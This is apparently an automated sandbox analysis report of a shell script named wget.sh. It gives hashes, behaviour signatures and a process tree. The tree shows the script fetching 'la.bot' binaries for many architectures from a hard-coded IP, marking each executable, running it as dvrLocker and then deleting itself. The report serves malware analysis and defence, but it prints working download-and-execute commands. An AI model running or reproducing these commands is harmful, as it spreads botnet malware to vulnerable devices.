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Analysis

  • max time kernel
    12s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/10/2024, 09:41

General

  • Target

    wget.sh

  • Size

    420B

  • MD5

    878878ef9a55d128c2917bfb365e4261

  • SHA1

    3f95d013d7602c813cafd4be15c43c37a9c71d2e

  • SHA256

    bd6ee818b79172a3d43e87463157ee94c942a321fd2ed582610962e323d0817a

  • SHA512

    dfb89655ef3662bb93b765211863cdff5101a00edf9f45b741e8c401402ec429196cf97b4c4e54dfbfc7153b3c50c2ae9da5e3fab45d51a96f0f25ca6c365cf6

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Writes file to tmp directory
    PID:1518
    • /bin/rm
      rm -rf dvrLocker
      2⤵
        PID:1519
      • /usr/bin/wget
        wget http://103.149.87.69/a/b/la.bot.arm -O -
        2⤵
          PID:1520
        • /bin/chmod
          chmod 777 dvrLocker
          2⤵
          • File and Directory Permissions Modification
          PID:1524
        • /mnt/dvrLocker
          ./dvrLocker
          2⤵
          • Executes dropped EXE
          PID:1525
        • /usr/bin/wget
          wget http://103.149.87.69/a/b/la.bot.arm5 -O -
          2⤵
            PID:1527
          • /bin/chmod
            chmod 777 dvrLocker
            2⤵
            • File and Directory Permissions Modification
            PID:1528
          • /mnt/dvrLocker
            ./dvrLocker
            2⤵
            • Executes dropped EXE
            PID:1529
          • /usr/bin/wget
            wget http://103.149.87.69/a/b/la.bot.arm6 -O -
            2⤵
              PID:1531
            • /bin/chmod
              chmod 777 dvrLocker
              2⤵
              • File and Directory Permissions Modification
              PID:1532
            • /mnt/dvrLocker
              ./dvrLocker
              2⤵
              • Executes dropped EXE
              PID:1533
            • /usr/bin/wget
              wget http://103.149.87.69/a/b/la.bot.arm7 -O -
              2⤵
                PID:1535
              • /bin/chmod
                chmod 777 dvrLocker
                2⤵
                • File and Directory Permissions Modification
                PID:1536
              • /mnt/dvrLocker
                ./dvrLocker
                2⤵
                • Executes dropped EXE
                PID:1537
              • /usr/bin/wget
                wget http://103.149.87.69/a/b/la.bot.m68k -O -
                2⤵
                  PID:1539
                • /bin/chmod
                  chmod 777 dvrLocker
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1540
                • /mnt/dvrLocker
                  ./dvrLocker
                  2⤵
                  • Executes dropped EXE
                  PID:1541
                • /usr/bin/wget
                  wget http://103.149.87.69/a/b/la.bot.mips -O -
                  2⤵
                  • System Network Configuration Discovery
                  PID:1543
                • /bin/chmod
                  chmod 777 dvrLocker
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1544
                • /mnt/dvrLocker
                  ./dvrLocker
                  2⤵
                  • Executes dropped EXE
                  PID:1545
                • /usr/bin/wget
                  wget http://103.149.87.69/a/b/la.bot.mipsel -O -
                  2⤵
                  • System Network Configuration Discovery
                  PID:1547
                • /bin/chmod
                  chmod 777 dvrLocker
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1548
                • /mnt/dvrLocker
                  ./dvrLocker
                  2⤵
                  • Executes dropped EXE
                  PID:1549
                • /usr/bin/wget
                  wget http://103.149.87.69/a/b/la.bot.sparc -O -
                  2⤵
                    PID:1551
                  • /bin/chmod
                    chmod 777 dvrLocker
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1552
                  • /mnt/dvrLocker
                    ./dvrLocker
                    2⤵
                    • Executes dropped EXE
                    PID:1553
                  • /usr/bin/wget
                    wget http://103.149.87.69/a/b/la.bot.sh4 -O -
                    2⤵
                      PID:1555
                    • /bin/chmod
                      chmod 777 dvrLocker
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1556
                    • /mnt/dvrLocker
                      ./dvrLocker
                      2⤵
                      • Executes dropped EXE
                      PID:1557
                    • /usr/bin/wget
                      wget http://103.149.87.69/a/b/la.bot.powerpc -O -
                      2⤵
                        PID:1559
                      • /bin/chmod
                        chmod 777 dvrLocker
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1560
                      • /mnt/dvrLocker
                        ./dvrLocker
                        2⤵
                        • Executes dropped EXE
                        PID:1561
                      • /bin/rm
                        rm -rf dvrLocker
                        2⤵
                          PID:1563
                        • /bin/rm
                          rm -rf /tmp/wget.sh
                          2⤵
                            PID:1564

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /mnt/dvrLocker

                          Filesize

                          54KB

                          MD5

                          db1a114307c57d7d97acf3dbe1959bf5

                          SHA1

                          a8a3d0b323ec3229ec2c06a8dfff9486cd987739

                          SHA256

                          044462feecab936afe4620ee15c24854f1f48d3b18fd5b5d07f1fda274371ead

                          SHA512

                          5924211f76c6d8a2f88fab8c8f14ec221efd8488de3ca493ec8fd0e5cfb287b2c2563184b406033f37dab9d4121203d22669415ecdf668c2e2e1f5a5c4eb517c

                        • /mnt/dvrLocker

                          Filesize

                          79KB

                          MD5

                          100bb4a2cdca8f6ca51a8ef6a48f72b7

                          SHA1

                          2c7f1719b4fecbc60fb0548ee4efb3bbb8b1475b

                          SHA256

                          63b8f7c6450ec58f718be6465da5660a17e45b90f9a6f6e2340f15f40a3d1e58

                          SHA512

                          78a32f82b42f476f40e0798e28fb89b8bfd8d95f3da87ea7e2572ef5a9019df780f8bc3322cc63a1ab023b48e25ca44c855d320a28d18d6eec0e089ce6f045d2

                        • /mnt/dvrLocker

                          Filesize

                          54KB

                          MD5

                          be76a190f3b90d5cb00a5cbc15b112a4

                          SHA1

                          da8903c31f36952390ff4975683504b9ceff05ea

                          SHA256

                          9258876ed0aaf0ff28b2b68c5e1ebac8680d7dc8b5de2f67e198035b1f1d545e

                          SHA512

                          0ef32ef56b4cd888974fc1e900be3956ef23e447b4efb3c1231b11dd77596455b9a5f2927c11f2380308deeb5e97b1a8afd76c350d2d70daea9c1b862934b771

                        • /mnt/dvrLocker

                          Filesize

                          54KB

                          MD5

                          e416439abb52454448f56c016daa4dea

                          SHA1

                          f5dc393e1f8b3859b3e38f38febe78aa5f20e733

                          SHA256

                          d47579b7e218ac96d3d25c3f3ad2c6a00d2af91b07687a394adfd86cf1d972df

                          SHA512

                          c92336de627399aca5e3b771b68a51e04338eb79af637776b2e5844868266dd408362c9c0aca5687b9dc6b880fe740fe3dcebcc200bff1ea7e2076ed10cf8b3d

                        • /mnt/dvrLocker

                          Filesize

                          65KB

                          MD5

                          23c99866e6a90c1aa327cca2078bf089

                          SHA1

                          a78539835a6c34b0da02c08379c220b708888017

                          SHA256

                          8da57edc934cf3432607e37dfdfd7c6b461234beaf722ec0b3d49a2aea03191d

                          SHA512

                          2a6401ed67c460414bcc5a2d721718f615be2e78ac882dfce57460377a19f31ce96162d9e5a40386ddbef4cb71fa9063763d921bc944fc9f756723cb689bb39c

                        • /mnt/dvrLocker

                          Filesize

                          77KB

                          MD5

                          d2c3556a910e0370ecd3997cfd8b8f69

                          SHA1

                          b220577b9ac4ff9a662bd4a66ba3c4fff878c253

                          SHA256

                          23147675e90639c0bc4d038c3c72cf9191712d730c4eec0c58a7173250fd3ea0

                          SHA512

                          e6715854ef515cf1537307bc588790f75df7487fe0e28329a425bb616b409f8a0282555bc2367eed6faad074e34043ff4f95b97c441e5ecfa011c177e713cc8c